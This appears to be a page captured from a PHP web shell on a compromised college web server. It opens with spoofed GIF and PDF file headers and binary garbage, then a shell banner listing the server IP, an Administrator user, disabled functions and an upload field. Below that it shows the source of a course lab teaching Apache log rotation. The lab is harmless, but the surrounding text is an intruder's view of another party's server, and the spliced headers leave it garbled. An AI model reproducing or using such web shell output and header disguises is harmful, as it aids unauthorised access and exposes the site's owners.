GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab09/ |
Upload File : |
<? // JimMartinson/CST1611/Labs/Lab09/Lab09.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $dataFolder = '/var/www/html'; $apacheFolder = $dataFolder; $dirSep = '/'; $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } $userFullName = str_replace(" ", "_", $userFullName); $directoryFile = $evaluationName.'-'.$userFullName.'.txt'; $directoryFile2 = $evaluationName.'-8080-'.$userFullName.'.txt'; $directoryFile3 = $evaluationName.'-IP-'.$userFullName.'.txt'; require('common/Browser/Browser.phpinc'); $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; // <span class="count"> ?> <style type="text/css"> b { white-space:nowrap; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } </style> <a name="Lab"></a> <!-- <textarea id="objd"></textarea> <textarea id="objd2"></textarea> --> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> The purpose of this lab is to demonstrate the ability to configure Apache to use rotating log files. <br><?=$gradeNote?> <ol id="main" class="count"> <? // 1. ?> <li class="count">Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>. <ol class="count"> <li class="count">Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li> <li class="count">Create a text file called <b class="copyText"><?=$directoryFile?></b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <? // 2. ?> <li class="count">Setup a 127.0.0.1 host entry and Name-based Virtual Host (lab09.test.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ha=127.0.0.1&ht=<?=$evaluationName?>.test&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>&au=true">Instructions are here</a>).</li> <? // 3. ?> <li> Configure Apache so we can throw an error. <br>It turns out that Apache 2.4 no longer considers '404 Not Found.' as an error, so we need to do it another way. <br>Setup a folder that is not-browsable. <ol> <li>Create the directory <b class="copyText">missing</b> inside the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Open your <b>lab09.test.conf</b> file in an editor.</li> <li>Copy this Directory configuration below the one you have for <b><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?></b>: <pre class="copyText"> <code><Directory <?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/missing></code> <tt>Options <samp>-Indexes</samp></tt> <code></Directory></code></pre> </li> <li>Save your <b>httpd.conf</b> file changes.</li> </ol> </li> <? // 4. ?> <li class="count">Configure Apache to rotate the access and error logs. <ol class="count"> <li class="count">Setup a new <tt>LogFormat</tt> directive. <ol class="count"> <li class="count">Make a copy of the <b>common</b> <tt>LogFormat</tt> line (<tt>LogFormat</tt> <code>"%h %l %u %t \"%r\" %>s %b"</code> <samp>common</samp>) and make the following changes: <ol class="count"> <li class="count">Add the <b>Local IP-address</b> just after the <b>Remote hostname</b>.</li><? /** / %h %A /**/?> <li class="count">Add <b>The time taken to serve the request, in seconds</b> just after the <b>Time the request was received</b>.</li><? /** / %t %T /**/?> <li class="count">Add <b>The URL path requested, not including any query string</b> just after the <b>First line of request</b> and enclose it in quotes (").</li><? /** / \"%r\" \"%U\" /**/?> <li class="count">Add <b>The query string (prepended with a ? if a query string exists, otherwise an empty string)</b> just after the <b>The URL path requested, not including any query string</b> and enclose it in quotes (").</li><? /** / \"%U\" \"%q\" /**/?> <li class="count">Change the <b>LogFormat</b> name from <b>common</b> to <b><?=$evaluationName?></b>.</li> <? /** / LogFormat "%h %a %l %u %t %T \"%r\" \"%U\" \"%q\" %>s %b" Lab09 /**/?> </ol> </li> </ol> </li> <li class="count">Setup the <tt>CustomLog</tt> directive. <ol class="count"> <li>Setup the <tt>CustomLog</tt> to use the filename <b class="copyText"><?=$evaluationName?>.test.Access.%Y-%m-%d-%H.%M.%S.log</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li><b>*** Use |/usr/bin/rotatelogs instead of |bin/rotatelogs shown in the apache documentation ***</b></li> <li>Setup the <tt>CustomLog</tt> to rotate after the file size reaches 5 KB. <!-- <br><span class="small"><b class="error">Problem:</b> Apache 2.2 does not have a KB setting for log file size. You need to use 1M instead!</span>--> </li> <li>Setup the <tt>CustomLog</tt> to use the <b class="copyText"><?=$evaluationName?></b> log format instead of the common one.</li> </ol> </li> <li class="count">Setup the <tt>ErrorLog</tt> directive. <ol class="count"> <li>Setup the <tt>ErrorLog</tt> to use the filename <b class="copyText"><?=$evaluationName?>.test.Error.%Y-%m-%d-%H.%M.%S.log</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li><b>*** Use |/usr/bin/rotatelogs instead of |bin/rotatelogs shown in the apache documentation ***</b></li> <li>Setup the <tt>ErrorLog</tt> to rotate every 60 seconds.</li> </ol> </li> <li class="count">Verify that Apache rotates the logs properly. <ol class="count"> <li class="count">Open up your Lab09 folder in File Explorer/Finder so you can see the log files get created.</li> <li class="count">Stop and restart Apache.</li> <li class="count">Open up a browser.</li> <li class="count">Enter <b class="copyText">http://<?=$evaluationName?>.test</b> in the address bar.</li> <li class="count">Hit enter.</li> <li class="count">Continue to refresh the browser until you see a new access log appear.</li> <li class="count">Force an error by adding the non-browsable folder <b>missing</b> to the URL in the address bar (i.e. <b class="copyText">http://<?=$evaluationName?>.test/missing</b>).</li> <li class="count">Use the browser back button (then refresh), and forward button (then refresh) until you see a new error log appear.</li> </ol> </li> <li class="count"><b class="info">Take a screenshot of the Lab09 folder</b> and save the image as <b class="copyText">CST1611-<?=$evaluationName?>-<?=$userFileName?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar and the log files are visible in your browser before saving the image. </li> </ol> </li> <? // 5. ?> <li>Turn in your assignment: <ol type="a"> <li>Copy your <b>hosts</b> and <b>lab09.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> --> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>